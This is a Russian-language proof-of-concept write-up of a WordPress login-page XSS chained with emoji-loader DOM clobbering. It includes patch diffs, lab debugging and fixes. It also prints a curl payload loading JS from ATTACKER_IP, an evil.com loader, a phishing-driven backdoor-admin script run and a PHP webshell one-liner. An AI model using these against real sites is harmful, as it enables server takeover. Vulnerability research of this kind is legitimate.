
Эксплойт Proof-of-concept для CVE-2026-64638: отражённый XSS на странице входа WordPress в связке с DOM clobbering для захвата учётной записи администратора и удалённого выполнения кода.
Программное обеспечение: WordPress Core ≤ 7.0.2 (все версии до 7.0.3)
CVSS: 8.9 (Высокий)
CWE: CWE-79 — Некорректная нейтрализация ввода при генерации веб-страницы
Требуется аутентификация: Не требуется (до аутентификации)
Взаимодействие с пользователем: Активное (администратору нужно кликнуть по 1 ссылке)
Воздействие: XSS → Захват учётной записи → Удалённое выполнение кода
WordPress — самая популярная система управления контентом в мире, на ней работает более 40% всех сайтов в интернете. У каждого сайта на WordPress есть страница входа по адресу /wp-login.php — это публичная конечная точка, доступная любому без аутентификации.
Когда пользователь вводит неверное имя пользователя, WordPress выводит сообщение об ошибке, содержащее точное имя пользователя, которое только что ввёл пользователь: «Имя пользователя X не зарегистрировано на этом сайте». Проблема в том, что значение имени пользователя помещается непосредственно в HTML-ответ без какой-либо экранирующей функции — атакующему достаточно ввести HTML/JavaScript вместо настоящего имени пользователя, и код будет выполнен в браузере.
Это отражённая XSS-уязвимость — полезная нагрузка содержится в запросе и отражается сервером в HTML в неизменном виде. Опасность усиливается тем, что уязвимость находится на странице входа — месте, которое часто посещают администраторы и где можно похитить сессионные cookie администратора.
Исследовательская группа также обнаружила, что эту XSS можно объединить в цепочку с уязвимостью DOM clobbering в emoji-loader WordPress, что позволяет загружать JavaScript с внешнего сервера. Далее атакующий может создать новую учётную запись администратора → установить плагин с веб-шеллом → выполнить PHP-код на сервере. Эта цепочка эксплуатации получила название XSS2Shell.
WordPress загружает поддержку эмодзи на каждой странице (включая страницу входа) через файл emoji-loader.js. Этот скрипт читает конфигурацию из элемента с id="wp-emoji-settings":
// Before patch (vulnerable)
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
document.getElementById() возвращает первый элемент в DOM с подходящим id. Если атакующий внедрит <div id="wp-emoji-settings"> перед исходным тегом скрипта, getElementById прочитает содержимое атакующего вместо реальной конфигурации. Этот приём называется DOM clobbering — переопределение поведения JavaScript путём внедрения HTML-элементов.
Конфигурация эмодзи содержит URL для загрузки JavaScript-файла (concatemoji). Атакующий контролирует этот URL → загружает JS-файл с внешнего сервера → выполняет произвольный код в контексте браузера.
После достижения выполнения JavaScript в контексте администратора атакующий получает все привилегии администратора WordPress:
/wp-admin/user-new.php с сессией администратора/wp-admin/plugin-install.phpЛюбой из 3 указанных методов позволяет выполнять PHP-код на сервере — то есть RCE.
Из фиксирующего коммита 0d6d42e в wordpress-develop я определил 3 места в файле wp-includes/user.php, где имя пользователя/email помещается непосредственно в сообщение об ошибке:
# View diff between vulnerable and patched versions
git diff 7.0.2..7.0.3 -- src/wp-includes/user.php
Место 1 — строка 189 (имя пользователя не существует):
До:
// BEFORE (vulnerable):
sprintf(
__( 'The username <strong>%s</strong> is not registered...' ),
$username // ← no escaping
)

После:
// fixed:
sprintf(
__( 'The username <strong>%s</strong> is not registered...' ),
esc_html( $username ) // ← escaped
)
Место 2 — строка 216 (неверный пароль):
До:

// BEFORE:
'<strong>' . $username . '</strong>' // ← no escaping
После:
// AFTER:
'<strong>' . esc_html( $username ) . '</strong>'
Место 3 — строка 299 (неверный пароль для email):
До:

// BEFORE:
'<strong>' . $email . '</strong>' // ← no escaping
После:
// AFTER:
'<strong>' . esc_html( $email ) . '</strong>'
Поток данных от POST-запроса до сообщения об ошибке:
$_POST['log'] ← user input from login form
↓
wp_signon() [user.php:51]
$credentials['user_login'] = wp_unslash($_POST['log']) ← only removes backslashes
↓
wp_authenticate($username, $password) [pluggable.php:689]
$username = sanitize_user($username) ← strips HTML tags, but has a bypass
↓
wp_authenticate_username_password() [user.php:153]
get_user_by('login', $username) ← user not found
↓
sprintf('The username <strong>%s</strong>...', $username) ← XSS!
↓
WP_Error → login_header() → wp_admin_notice()
wp_kses_post(...) ← filters HTML but allows <div>, <a>, through
↓
HTML response → browser render → JavaScript execute
Перед попаданием имени пользователя в HTML в WordPress действуют 2 уровня фильтрации:
Уровень 1: sanitize_user() — вызывает strip_tags() для удаления HTML-тегов. Однако у PHP-функции strip_tags() есть известные ограничения: нестандартное форматирование тегов может обойти фильтр.
Уровень 2: wp_kses_post() — пропускает безопасное подмножество HTML, включая <div>, <a>, `` с определёнными атрибутами (но удаляет обработчики событий, такие как onerror, onload). Ключевой момент: wp_kses_post разрешает <div id="wp-emoji-settings"> — именно тот элемент, который нужен для DOM clobbering.
Команда pwn.ai нашла способ обойти оба уровня и внедрить рабочую полезную нагрузку. Конкретные технические детали не были публично раскрыты.
Чтобы наглядно подтвердить, что имя пользователя попадает в HTML без экранирования, я использовал Xdebug + VS Code и установил точки останова в ключевых точках цепочки выполнения.
Шаг 1 — Ввод XSS-полезной нагрузки в форму входа:
Откройте http://localhost:8282/wp-login.php, введите имя пользователя `` и нажмите Log In. Появляется всплывающее окно alert — XSS работает.


Шаг 2 — Точка останова на user.php:184 — где происходит XSS:
Установите точку останова на return new WP_Error(...) внутри функции wp_authenticate_username_password(). Когда отладчик остановится, обратите внимание на:
$username = "" — HTML-полезная нагрузка в целости, не экранирована$_POST: log = "" — подтверждает, что нагрузка приходит из ввода формыwp_authenticate_username_password() → WP_Hook->apply_filters → apply_filters → wp_authenticate → wp_signon → {main} wp-login.php
Значение $username идёт из $_POST['log'] → wp_unslash() → (в обход sanitize_user) → sprintf() в сообщение об ошибке на строках 186–189 — между ними нет esc_html(). В лабораторной среде sanitize_user() был закомментирован, чтобы имитировать обход, найденный pwn.ai.
Шаг 3 — Точка останова на functions.php:9200 — финальный вывод:
Установите точку останова на echo wp_get_admin_notice( $message, $args ) — это последняя строка перед выводом HTML в браузер:
$message = "<p><strong>Error:</strong> The username <strong></strong> is not registered...</p>" — полезная нагрузка находится в целости внутри HTML-сообщения об ошибкеwp_kses_post() (отключено для имитации обхода), поэтому нагрузка уходит в браузер напрямую
В оригинальном WordPress эта строка выглядит как echo wp_kses_post( wp_get_admin_notice(...) ) — wp_kses_post() удалит атрибут onerror, но пропустит <div id="wp-emoji-settings">, потому что <div> есть в списке разрешённых. Это и есть точный вектор атаки DOM clobbering.
Коммит a12c8f5 изменяет emoji-loader.js, чтобы заблокировать DOM clobbering:
// BEFORE (vulnerable): accepts any element with a matching id
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
// AFTER (fixed): only accepts <script> element
const selector = 'script#wp-emoji-settings';
const script = document.querySelector(selector);
if (!(script instanceof HTMLScriptElement)) {
throw new Error(`Element missing:${selector}`);
}
const settings = JSON.parse(script.text);
Исправление меняет 3 вещи:
querySelector('script#...') вместо getElementById — сопоставляются только теги <script>instanceof HTMLScriptElement — предотвращает DOM clobbering через <div> или ``.text вместо .textContent — .text — это специфическое свойство HTMLScriptElementПосле исправления, даже если атакующему удастся внедрить <div id="wp-emoji-settings">, emoji-loader проигнорирует его, потому что это не элемент <script>.
┌─────────────────────────────────────────────────────────────────┐
│ ATTACKER │
│ Creates phishing link containing XSS payload │
│ POST /wp-login.php with log=<div id="wp-emoji-settings"> │
│ {"source":{"concatemoji":"https://evil.com/rce.js"}} │
└────────────────────────┬────────────────────────────────────────┘
│ Sends link to admin (email, chat, etc.)
▼
┌─────────────────────────────────────────────────────────────────┐
│ ADMIN CLICKS LINK │
│ Browser POSTs to /wp-login.php → server reflects payload │
│ → <div id="wp-emoji-settings"> appears in HTML │
└────────────────────────┬────────────────────────────────────────┘
│ emoji-loader.js executes
▼
┌─────────────────────────────────────────────────────────────────┐
│ DOM CLOBBERING │
│ getElementById('wp-emoji-settings') → returns attacker div │
│ JSON.parse(div.textContent) → reads fake configuration │
│ Loads script from https://evil.com/rce.js │
└────────────────────────┬────────────────────────────────────────┘
│ JS executes in admin context
▼
┌─────────────────────────────────────────────────────────────────┐
│ ACCOUNT TAKEOVER + RCE │
│ 1. Fetch /wp-admin/user-new.php → get nonce │
│ 2. POST create new admin account (backdoor) │
│ 3. Login using backdoor account │
│ 4. Install plugin containing PHP webshell │
│ 5. Call webshell → RCE on server │
└─────────────────────────────────────────────────────────────────┘
Откройте http://localhost:8282/wp-login.php, введите:
Нажмите Log In. Если появится всплывающее окно alert с надписью "localhost" → XSS работает.
Результат — полезная нагрузка отражается в HTML в неизменном виде:

Более сложная полезная нагрузка — внедрение <div> с id="wp-emoji-settings", содержащего JSON с указанием на JS-файл атакующего:

# Payload: inject div clobber emoji-settings
PAYLOAD='<div id="wp-emoji-settings">{"source":{"concatemoji":"http://ATTACKER_IP:9999/evil.js"},"readyCallback":null}</div>'
curl -s -b /tmp/wp-cookies.txt -X POST "http://localhost:8282/wp-login.php" \
--data-urlencode "log=${PAYLOAD}" \
-d '&pwd=test&wp-submit=Log+In&testcookie=1' \
| grep "wp-emoji-settings"
Если HTML-вывод содержит <div id="wp-emoji-settings"> с JSON атакующего → emoji-loader загрузит JS с сервера атакующего.
python exploit.py --target http://localhost:8282 --lhost 127.0.0.1 --lport 9999
Скрипт exploit.py обслуживает 2 вещи:
http://127.0.0.1:9999/phish.html — фишинговая страница, имитирующая обновление безопасности WordPresshttp://127.0.0.1:9999/evil.js — JS-полезная нагрузка, создающая учётную запись администратора-бэкдораАтакующий отправляет администратору ссылку http://127.0.0.1:9999/phish.html по email/чату. Когда администратор переходит по ней:
/wp-login.php с именем пользователя, содержащим XSS-полезную нагрузку<div id="wp-emoji-settings">emoji-loader.js читает поддельный div → загружает evil.js с сервера атакующегоevil.js выполняется в браузере администратора → запрашивает /wp-admin/user-new.php для получения nonce → создаёт учётную запись backdoor_xss2shell / Pwn3d!XSS2Shell
Весь процесс происходит автоматически; администратор видит лишь обычную страницу входа с ошибкой «имя пользователя не найдено».
В лабораторной среде администратор уже был авторизован под admin / admin123, поэтому evil.js выполнился немедленно. После получения доступа к учётной записи я сразу загрузил веб-шелл через плагин:

<?phpif(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>


Вывод вернул www-data — теперь атакующий имеет права на выполнение команд на сервере.
/wp-login.php всегда публична и не может быть скрыта (если только не использовать плагины для смены URL входа)HttpOnly не установлен должным образом) или украсть учётные данные через фишингИсправление 1 — Экранирование вывода (user.php):
// Add esc_html() to everywhere username/email appears in error messages
esc_html( $username )
esc_html( $email )
Исправление 2 — Усиление emoji-loader (emoji-loader.js):
// Only accept <script> element, do not accept <div> or other elements
const script = document.querySelector('script#wp-emoji-settings');
if (!(script instanceof HTMLScriptElement)) {
throw new Error('Element missing');
}
Исправление 3 — Экранирование URL (wp-login.php):
// Add esc_url() for wp_login_url() in registration messages
esc_url( wp_login_url() )
/wp-login.php с HTML-нагрузкой в параметре logsanitize_user() предназначен для нормализации имён пользователей, а не для предотвращения XSS. Эшелонированная защита: экранирование в точке вывода (esc_html, esc_attr, esc_url) — последний и самый критический уровень защиты.getElementById для критичных к безопасности данных. DOM clobbering позволяет внедрить поддельный элемент с тем же id. Используйте querySelector с конкретным именем тега + проверку instanceof.wp_kses_post — это не XSS-фильтр. Он предназначен для разрешения безопасного HTML в содержимом записей, а не для блокировки XSS в других контекстах. Для каждого контекста требуется своя функция экранирования.| Атрибут | Значение |
|---|
| CVE ID | CVE-2026-64638 |
| CVSS Score | 8.9 (Высокий) |
| Программное обеспечение | WordPress Core ≤ 7.0.2 |
| Аутентификация | Не требуется (до аутентификации) |
| Взаимодействие с пользователем | Требуется 1 клик (администратор кликает по ссылке) |
| Сложность атаки | Высокая |
| Исправлено в | WordPress 7.0.3 (08/06/2026) |
| Сообщивший | команда pwn.ai через HackerOne |
| Отчёт HackerOne | #3877102 |
| Параметр CVSS | Значение | Причина |
|---|
| Вектор атаки | Сеть | По HTTP, путём отправки ссылки жертве |
| Сложность атаки | Высокая | Требуется обход sanitize_user() + wp_kses_post(), требуется клик жертвы |
| Необходимые привилегии | Нет | Конечная точка входа не требует аутентификации |
| Взаимодействие с пользователем | Активное | Администратор должен перейти по фишинговой ссылке |
| Конфиденциальность | Высокая | Чтение cookie, сессии, содержимого админ-панели |
| Целостность | Высокая | Создание учётной записи администратора, установка плагина, изменение файлов |
| Доступность | Высокая | RCE → полный контроль над сервером |